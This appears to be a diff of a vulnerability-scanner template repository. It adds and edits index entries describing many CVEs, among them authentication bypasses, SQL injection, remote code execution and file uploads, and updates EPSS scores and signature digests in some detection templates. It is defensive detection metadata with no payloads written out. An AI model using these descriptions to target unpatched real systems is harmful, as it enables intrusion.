 {"ID":"CVE-2025-41646","Info":{"Name":"RevPi Webstatus \u003c= v2.4.5 - Authentication Bypass","Severity":"critical","Description":"An unauthorized remote attacker can bypass the authentication of the affected software package by misusing an incorrect type conversion. This leads to full compromise of the device\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-41646.yaml"}
 {"ID":"CVE-2025-4322","Info":{"Name":"Motors \u003c= 5.6.67 - Unauthenticated Privilege Escalation via Password Update/Account Takeover","Severity":"critical","Description":"The Motors theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 5.6.67. This is due to the theme not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user passwords, including those of administrators, and leverage that to gain access to their account.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4322.yaml"}
+{"ID":"CVE-2025-4334","Info":{"Name":"Simple User Registration \u003c= 6.3 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"The Simple User Registration plugin ≤ 6.3 is vulnerable to privilege escalation. It lacks proper restrictions on user meta values during registration. Unauthenticated attackers can exploit this to register as administrators.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4334.yaml"}
 {"ID":"CVE-2025-4380","Info":{"Name":"Ads Pro Plugin \u003c= 4.89 - Local File Inclusion","Severity":"critical","Description":"The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.89 via the 'bsa_template' parameter of the `bsa_preview_callback` function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases .php files can can be uploaded and included, or already exist on the site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4380.yaml"}
-{"ID":"CVE-2025-4388","Info":{"Name":"Liferay Portal 'marketplace-app-manager-web' - Reflected XSS","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.5, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 7.4 GA through update 92 allows an remote non-authenticated attacker to inject JavaScript into the modules/apps/marketplace/marketplace-app-manager-web.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-4388.yaml"}
+{"ID":"CVE-2025-4388","Info":{"Name":"Liferay Portal - Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.5, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 7.4 GA through update 92 allows an remote non-authenticated attacker to inject JavaScript into the modules/apps/marketplace/marketplace-app-manager-web.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-4388.yaml"}
 {"ID":"CVE-2025-4396","Info":{"Name":"Relevanssi \u003c= 4.24.4 (Free) - Unauthenticated SQL Injection","Severity":"high","Description":"The Relevanssi – A Better Search plugin for WordPress is vulnerable to time-based SQL Injection via the cats and tags query parameters in all versions up to, and including, 4.24.4 (Free) and \u003c= 2.27.4 (Premium) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries to already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-4396.yaml"}
 {"ID":"CVE-2025-44148","Info":{"Name":"MailEnable Mail Service \u003c v10 - Cross-Site Scripting","Severity":"medium","Description":"Cross Site Scripting (XSS) vulnerability in MailEnable before v10 allows a remote attacker to execute arbitrary code via the failure.aspx component.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-44148.yaml"}
+{"ID":"CVE-2025-44177","Info":{"Name":"White Star Software ProTop - Directory Traversal","Severity":"high","Description":"A directory traversal vulnerability was discovered in White Star Software Protop version 4.4.2-2024-11-27, specifically in the /pt3upd/ endpoint. An unauthenticated attacker can remotely read arbitrary files on the underlying OS using encoded traversal sequences.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2025/CVE-2025-44177.yaml"}
 {"ID":"CVE-2025-4427","Info":{"Name":"Ivanti Endpoint Manager Mobile - Unauthenticated Remote Code Execution","Severity":"critical","Description":"An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-4427.yaml"}
 {"ID":"CVE-2025-45854","Info":{"Name":"JEHC-BPM - Remote Code Execute","Severity":"critical","Description":"A Remote Command Execution vulnerability in the component /server/executeExec of JEHC-BPM \u003c= v2.0.1 allows attackers to execute arbitrary code. The vulnerability exists due to insufficient authorization checks in the executeExec endpoint which allows direct command execution.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-45854.yaml"}
 {"ID":"CVE-2025-45985","Info":{"Name":"Blink Router - Command Injection","Severity":"critical","Description":"Blink routers BL-WR9000 V2.4.9 , BL-AC2100_AZ3 V1.0.4, BL-X10_AC8 v1.0.5 , BL-LTE300 v1.2.3, BL-F1200_AT1 v1.0.0, BL-X26_AC8 v1.2.8, BLAC450M_AE4 v4.0.0 and BL-X26_DA3 v1.2.7 were discovered to contain a command injection vulnerability via the bs_SetSSIDHide function.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-45985.yaml"}
@@ -3117,13 +3150,30 @@
 {"ID":"CVE-2025-47916","Info":{"Name":"Invision Community \u003c=5.0.6 Unauthenticated RCE via Template Injection","Severity":"critical","Description":"Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (/applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method, which is evaluated by the template engine. Accordingly, unauthenticated attackers can inject and execute arbitrary PHP code by providing crafted template strings.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-47916.yaml"}
 {"ID":"CVE-2025-48827","Info":{"Name":"vBulletin 5.0.0-6.0.3 - Authentication Bypass","Severity":"critical","Description":"vBulletin 5.0.0 through 5.7.5 and 6.0.0 through 6.0.3 contain an authentication bypass caused by unauthenticated access to protected API controllers on PHP 8.1 or later, letting unauthenticated attackers invoke protected methods remotely.Starting from PHP 8.1, due to an internal adjustment to handling of ReflectionMethod::invoke() and similar methods, it now allows — by default — invocation of protected / private methods when using PHP's Reflection API.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-48827.yaml"}
 {"ID":"CVE-2025-48828","Info":{"Name":"vBulletin replaceAdTemplate - Remote Code Execution","Severity":"critical","Description":"vBulletin versions 5.0.0 through 6.0.3 contain a Remote Code Execution (RCE) vulnerability in the ajax/api/ad/replaceAdTemplate endpoint. This flaw arises from improper use of PHP's Reflection API, allowing unauthenticated attackers to invoke protected controller methods. By injecting a crafted \u003cvb:if\u003e conditional that executes arbitrary PHP code via passthru($_POST[\u003cparam\u003e]), and triggering it with a second request to ajax/render/ad_\u003clocation\u003e, attackers can run arbitrary commands on the server as the webserver user.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-48828.yaml"}
+{"ID":"CVE-2025-48954","Info":{"Name":"Discourse OAuth Social Login - Cross-site Scripting","Severity":"high","Description":"Discourse versions prior to 3.5.0.beta6 contain a stored Cross-Site Scripting (XSS) vulnerability in the OAuth/social login functionality. The vulnerability is caused by lack of proper content security policy enforcement when processing social login failures,allowing remote attackers to inject and execute malicious scripts in users' browsers.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2025/CVE-2025-48954.yaml"}
+{"ID":"CVE-2025-49029","Info":{"Name":"WordPress Custom Login And Signup Widget Plugin \u003c= 1.0 - Arbitrary Code Execution","Severity":"high","Description":"Improper Control of Generation of Code ('Code Injection') vulnerability in bitto.Kazi Custom Login And Signup Widget allows Code Injection.This issue affects Custom Login And Signup Widget: from n/a through 1.0\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-49029.yaml"}
 {"ID":"CVE-2025-49113","Info":{"Name":"Roundcube Webmail - Remote Code Execution","Severity":"critical","Description":"Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2025/CVE-2025-49113.yaml"}
 {"ID":"CVE-2025-49132","Info":{"Name":"Pterodactyl Panel - Remote Code Execution","Severity":"critical","Description":"Pterodactyl is a free, open-source game server management panel. Using the /locales/locale.json with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-49132.yaml"}
+{"ID":"CVE-2025-49493","Info":{"Name":"Akamai CloudTest \u003c 60 2025.06.02 - XML External Entity (XXE)","Severity":"critical","Description":"Akamai CloudTest before 60 2025.06.02 (12988) allows file inclusion via XML External Entity (XXE) injection.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-49493.yaml"}
 {"ID":"CVE-2025-5086","Info":{"Name":"Dassault Systèmes DELMIA Apriso (up to 2025) - Insecure Deserialization","Severity":"critical","Description":"A deserialization of untrusted data vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could lead to a remote code execution.\n","Classification":{"CVSSScore":"9"}},"file_path":"http/cves/2025/CVE-2025-5086.yaml"}
+{"ID":"CVE-2025-52488","Info":{"Name":"DNN (DotNetNuke) - Unicode Path Normalization NTLM Hash Disclosure","Severity":"high","Description":"DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. In versions 6.0.0 to before 10.0.1, DNN.PLATFORM allows a specially crafted series of malicious interaction to potentially expose NTLM hashes to a third party SMB server. This issue has been patched in version 10.0.1.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-52488.yaml"}
 {"ID":"CVE-2025-5287","Info":{"Name":"Likes and Dislikes Plugin \u003c= 1.0.0 - Unauthenticated SQL Injection","Severity":"high","Description":"The Likes and Dislikes Plugin plugin for WordPress is vulnerable to SQL Injection via the 'post' parameter in all versions up to, and including, 1.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-5287.yaml"}
+{"ID":"CVE-2025-53558","Info":{"Name":"ZTE ZXHN-F660T/F660A - Default Credentials","Severity":"high","Description":"ZXHN-F660T and ZXHN-F660A provided by ZTE Japan K.K. use a common credential for all installations. With the knowledge of the credential, an attacker may log in to the affected devices.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-53558.yaml"}
 {"ID":"CVE-2025-53624","Info":{"Name":"Docusaurus Gists Plugin \u003c 4.0.0 - GitHub Personal Access Token Exposure","Severity":"high","Description":"The Docusaurus gists plugin adds a page to your Docusaurus instance, displaying all public gists of a GitHub user. docusaurus-plugin-content-gists versions prior to 4.0.0 are vulnerable to exposing GitHub Personal Access Tokens in production build artifacts when passed through plugin configuration options. The token, intended for build-time API access only, is inadvertently included in client-side JavaScript bundles, making it accessible to anyone who can view the website's source code.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-53624.yaml"}
+{"ID":"CVE-2025-53770","Info":{"Name":"Microsoft SharePoint Server - Remote Code Execution (ToolShell)","Severity":"critical","Description":"Deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an unauthorized attacker to execute code over a network. Microsoft is aware that an exploit for CVE-2025-53770 exists in the wild. Microsoft is preparing and fully testing a comprehensive update to address this vulnerability. In the meantime, please make sure that the mitigation provided in this CVE documentation is in place so that you are protected from exploitation.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-53770.yaml"}
+{"ID":"CVE-2025-53833","Info":{"Name":"LaRecipe \u003c 2.8.1 Remote Code Execution via SSTI","Severity":"critical","Description":"LaRecipe is an application that allows users to create documentation with Markdown inside a Laravel app. Versions prior to 2.8.1 are vulnerable to Server-Side Template Injection (SSTI), which could potentially lead to Remote Code Execution (RCE) in vulnerable configurations.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2025/CVE-2025-53833.yaml"}
+{"ID":"CVE-2025-5394","Info":{"Name":"Unauthenticated Arbitrary Plugin Upload in Alone Theme","Severity":"critical","Description":"The Alone – Charity Multipurpose Non-profit WordPress Theme theme for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the alone_import_pack_install_plugin() function in all versions up to, and including, 7.8.3.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-5394.yaml"}
+{"ID":"CVE-2025-54589","Info":{"Name":"Copyparty \u003c=1.18.6 - Cross-Site Scripting","Severity":"medium","Description":"Copyparty before 1.18.7 is vulnerable to reflected cross-site scripting (XSS) via the 'filter' parameter in the '/?ru' endpoint. Unsanitized user input is reflected in the HTML response, allowing attackers to execute arbitrary JavaScript in the context of the victim's browser.\n","Classification":{"CVSSScore":"6.3"}},"file_path":"http/cves/2025/CVE-2025-54589.yaml"}
+{"ID":"CVE-2025-54782","Info":{"Name":"NestJS DevTools Integration - Remote Code Execution","Severity":"critical","Description":"Nest is a framework for building scalable Node.js server-side applications. In versions 0.2.0 and below, a critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine. The package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.\n","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2025/CVE-2025-54782.yaml"}
 {"ID":"CVE-2025-5569","Info":{"Name":"IdeaCMS \u003c= 1.7 - SQL Injection","Severity":"critical","Description":"IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-5569.yaml"}
 {"ID":"CVE-2025-5777","Info":{"Name":"Citrix NetScaler Memory Disclosure - CitrixBleed 2","Severity":"critical","Description":"Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-5777.yaml"}
+{"ID":"CVE-2025-5961","Info":{"Name":"WordPress WPvivid Backup \u0026 Migration Plugin \u003c= 0.9.116 - Authenticated Arbitrary File Upload","Severity":"high","Description":"The Migration, Backup, Staging – WPvivid Backup \u0026 Migration plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'wpvivid_upload_import_files' function in all versions up to, and including, 0.9.116.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-5961.yaml"}
+{"ID":"CVE-2025-6058","Info":{"Name":"WPBookit \u003c= 1.0.4 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_booking_type' route in all versions up to, and including, 1.0.4.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6058.yaml"}
+{"ID":"CVE-2025-6197","Info":{"Name":"Open Redirect via Organization Switching","Severity":"medium","Description":"An open redirect vulnerability has been identified in Grafana OSS organization switching functionality. Prerequisites for exploitation Multiple organizations must exist in the Grafana instance - Victim must be on a different organization than the one specified in the URL\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6197.yaml"}
+{"ID":"CVE-2025-6851","Info":{"Name":"WordPress Broken Link Notifier \u003c 1.3.1 - Unauthenticated SSRF","Severity":"high","Description":"The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-6851.yaml"}
+{"ID":"CVE-2025-6934","Info":{"Name":"The Opal Estate Pro – Property Management \u003c= 1.7.5 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"The Opal Estate Pro plugin (≤ 1.7.5) is vulnerable to privilege escalation. Due to missing role restrictions in the on_register_user function, users can register with any role. This allows unauthenticated attackers to create administrator accounts.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6934.yaml"}
+{"ID":"CVE-2025-6970","Info":{"Name":"WordPress Events Manager \u003c= 7.0.3 - SQL Injection","Severity":"critical","Description":"The Events Manager - Calendar, Bookings, Tickets, and more! plugin for WordPress is vulnerable to time-based SQL Injection via the 'orderby' parameter in all versions up to, and including, 7.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6970.yaml"}
+{"ID":"CVE-2025-8286","Info":{"Name":"Güralp Systems FMUS Series - Unauthenticated Access","Severity":"critical","Description":"Güralp Systems FMUS Series Seismic Monitoring Devices expose an unauthenticated Telnet-based command line interface that allows attackers to modify hardware configurations, manipulate data, or factory reset the device.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-8286.yaml"}
 {"ID":"CVE-2001-1473","Info":{"Name":"Deprecated SSHv1 Protocol Detection","Severity":"high","Description":"SSHv1 is deprecated and has known cryptographic issues.","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2001/CVE-2001-1473.yaml"}
 {"ID":"CVE-2004-2687","Info":{"Name":"Distccd v1 - Remote Code Execution","Severity":"high","Description":"distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"network/cves/2004/CVE-2004-2687.yaml"}
 {"ID":"CVE-2011-2523","Info":{"Name":"VSFTPD 2.3.4 - Backdoor Command Execution","Severity":"critical","Description":"VSFTPD v2.3.4 had a serious backdoor vulnerability allowing attackers to execute arbitrary commands on the server with root-level access. The backdoor was triggered by a specific string of characters in a user login request, which allowed attackers to execute any command they wanted.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2011/CVE-2011-2523.yaml"}
@@ -3134,6 +3184,7 @@
 {"ID":"CVE-2017-5645","Info":{"Name":"Apache Log4j Server - Deserialization Command Execution","Severity":"critical","Description":"In Apache Log4j 2.x before 2.8.2, when using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2017/CVE-2017-5645.yaml"}
 {"ID":"CVE-2018-2628","Info":{"Name":"Oracle WebLogic Server Deserialization - Remote Code Execution","Severity":"critical","Description":"The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services) versions 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3 contains an easily exploitable vulnerability that allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2018/CVE-2018-2628.yaml"}
 {"ID":"CVE-2018-2893","Info":{"Name":"Oracle WebLogic Server - Remote Code Execution","Severity":"critical","Description":"The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services) versions 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3 contain an easily exploitable vulnerability that allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2018/CVE-2018-2893.yaml"}
+{"ID":"CVE-2019-5544","Info":{"Name":"VMware ESXi SLP - Heap Overflow DoS","Severity":"critical","Description":"OpenSLP as used in ESXi and the Horizon DaaS appliances has a heap overwrite issue. VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2019/CVE-2019-5544.yaml"}
 {"ID":"CVE-2020-0796","Info":{"Name":"Microsoft SMBv3 - Remote Code Execution","Severity":"critical","Description":"A remote code execution vulnerability exists in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests, aka 'Windows SMBv3 Client/Server Remote Code Execution Vulnerability'.\n","Classification":{"CVSSScore":"10"}},"file_path":"network/cves/2020/CVE-2020-0796.yaml"}
 {"ID":"CVE-2020-11981","Info":{"Name":"Apache Airflow \u003c=1.10.10 - Command Injection","Severity":"critical","Description":"An issue was found in Apache Airflow versions 1.10.10 and below. When using CeleryExecutor, if an attacker can connect to the broker (Redis, RabbitMQ) directly, it is possible to inject commands, resulting in the celery worker running arbitrary commands.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2020/CVE-2020-11981.yaml"}
 {"ID":"CVE-2020-1938","Info":{"Name":"Ghostcat - Apache Tomcat - AJP File Read/Inclusion Vulnerability","Severity":"critical","Description":"When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations.","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2020/CVE-2020-1938.yaml"}
@@ -3143,6 +3194,7 @@
 {"ID":"CVE-2022-31793","Info":{"Name":"muhttpd \u003c=1.1.5 - Local Inclusion","Severity":"high","Description":"muhttpd 1.1.5 and before are vulnerable to unauthenticated local file inclusion. The vulnerability allows retrieval of files from the file system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2022/CVE-2022-31793.yaml"}
 {"ID":"CVE-2023-33246","Info":{"Name":"RocketMQ \u003c= 5.1.0 - Remote Code Execution","Severity":"critical","Description":"For RocketMQ versions 5.1.0 and below, under certain conditions, there is a risk of remote command execution. Several components of RocketMQ, including NameServer, Broker, and Controller, are leaked on the extranet and lack permission verification, an attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as. Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content. To prevent these attacks, users are recommended to upgrade to version 5.1.1 or above for using RocketMQ 5.x or 4.9.6 or above for using RocketMQ 4.x .\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2023/CVE-2023-33246.yaml"}
 {"ID":"CVE-2023-48788","Info":{"Name":"Fortinet Forticlient Endpoint Management Server - SQL Injection","Severity":"critical","Description":"A improper neutralization of special elements used in an sql command ('sql injection') in Fortinet FortiClientEMS version 7.2.0 through 7.2.2, FortiClientEMS 7.0.1 through 7.0.10 allows attacker to execute unauthorized code or commands via specially crafted packets.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2023/CVE-2023-48788.yaml"}
+{"ID":"CVE-2025-25256","Info":{"Name":"Fortinet FortiSIEM - OS Command Injection","Severity":"critical","Description":"Fortinet FortiSIEM 6.7.9 \u003c version \u003c= 7.3.1 contains an OS command injection caused by improper neutralization of special elements in CLI requests, letting unauthenticated attackers execute unauthorized commands remotely.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2025/CVE-2025-25256.yaml"}
 {"ID":"CVE-2012-2122","Info":{"Name":"MySQL - Authentication Bypass","Severity":"medium","Description":"sql/password.c in Oracle MySQL 5.1.x before 5.1.63, 5.5.x before 5.5.24, and 5.6.x before 5.6.6, and MariaDB 5.1.x before 5.1.62, 5.2.x before 5.2.12, 5.3.x before 5.3.6, and 5.5.x before 5.5.23, when running in certain environments with certain implementations of the memcmp function, allows remote attackers to bypass authentication by repeatedly authenticating with the same incorrect password, which eventually causes a token comparison to succeed due to an improperly-checked return value.\n","Classification":{"CVSSScore":"5.1"}},"file_path":"javascript/cves/2012/CVE-2012-2122.yaml"}
 {"ID":"CVE-2016-8706","Info":{"Name":"Memcached Server SASL Authentication - Remote Code Execution","Severity":"high","Description":"An integer overflow in process_bin_sasl_auth function in Memcached, which is responsible for authentication commands of Memcached binary protocol, can be abused to cause heap overflow and lead to remote code execution.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"javascript/cves/2016/CVE-2016-8706.yaml"}
 {"ID":"CVE-2019-9193","Info":{"Name":"PostgreSQL 9.3-12.3 Authenticated Remote Code Execution","Severity":"high","Description":"In PostgreSQL 9.3 through 11.2, the \"COPY TO/FROM PROGRAM\" function allows superusers and users in the 'pg_execute_server_program' group to execute arbitrary code in the context of the database's operating system user. This functionality is enabled by default and can be abused to run arbitrary operating system commands on Windows, Linux, and macOS. NOTE: Third parties claim/state this is not an issue because PostgreSQL functionality for ‘COPY TO/FROM PROGRAM’ is acting as intended. References state that in PostgreSQL, a superuser can execute commands as the server user without using the ‘COPY FROM PROGRAM’.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2019/CVE-2019-9193.yaml"}
@@ -1 +1 @@
-74fd44bfa1a1e5b38ccf7042e175641c
+68ca5d0d9c5119bc71226a38ceaac523
@@ -16,7 +16,7 @@ info:
    cvss-score: 9
    cve-id: CVE-2021-45046
    cwe-id: CWE-502
-    epss-score: 0.94340
+    epss-score: 0.9434
    epss-percentile: 0.99946
  metadata:
    max-request: 1
@@ -62,4 +62,4 @@ http:
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4b0a00483046022100a8939bb9bc6ccb1b77d9f06e06ca0db8116d5c0b73361a660d9f9a7b3e104f20022100df3e7994cdfd47bb085887aab47b53e80f0fc32a8589e337462d83aa015db1c9:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b2d82bb000abf87ac9bee230b6e1bd3f97c674c9650a7048299640e9eb976321022100added7594d87013b651893248c5b84c38b1755e5a5d199346eebb9799483a762:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,7 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-22965
    cwe-id: CWE-94
-    epss-score: 0.94460
+    epss-score: 0.9446
    epss-percentile: 0.99992
    cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
  metadata:
@@ -55,4 +55,4 @@ http:
        words:
          - "User-Agent: Java"
        case-insensitive: true
-# digest: 4b0a00483046022100915d17fb5a8d51b02db38fbe465d2de61ea80000397a7e86ebc49a4a9889412b022100820d081fc544c8aa867d04cfa1d0878008729d0459f08a166c459d7d16234099:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009aa5803189d9de1bc1973013f1cc5da110b2e46b1c62ea16cf1a491d31f3e3930221009486794f409eb77b8e87d8be71b79f23bf2d7c2dd6378e79c7707acd3cd75b9e:922c64590222798bb761d5b6d8e72950
@@ -16,7 +16,7 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-34265
    cwe-id: CWE-89
-    epss-score: 0.92493
+    epss-score: 0.92734
    epss-percentile: 0.99731
  tags: sqli,dast,vulhub,cve,cve2022,django

@@ -46,4 +46,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 490a004630440220765d0b95605f033abc16dd45dbd789eab737ca6bd0c261eb914b8fcf1fc7f9e902202d55d0d730a667ad2683e84023cdea5e2896a20b863a8cf0a2865d081aaf575b:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210098d78757d6c41dc230c2e3d9355ac08365b4359ce54975ea46fb15f1232e9d7e022100bab0052a218ffc6a25ab06e85cb78c0bd25291ee57bc9c3027d550638335ccb6:922c64590222798bb761d5b6d8e72950
@@ -18,7 +18,7 @@ info:
    cvss-score: 7.3
    cve-id: CVE-2024-2961
    cwe-id: CWE-787
-    epss-score: 0.91735
+    epss-score: 0.91923
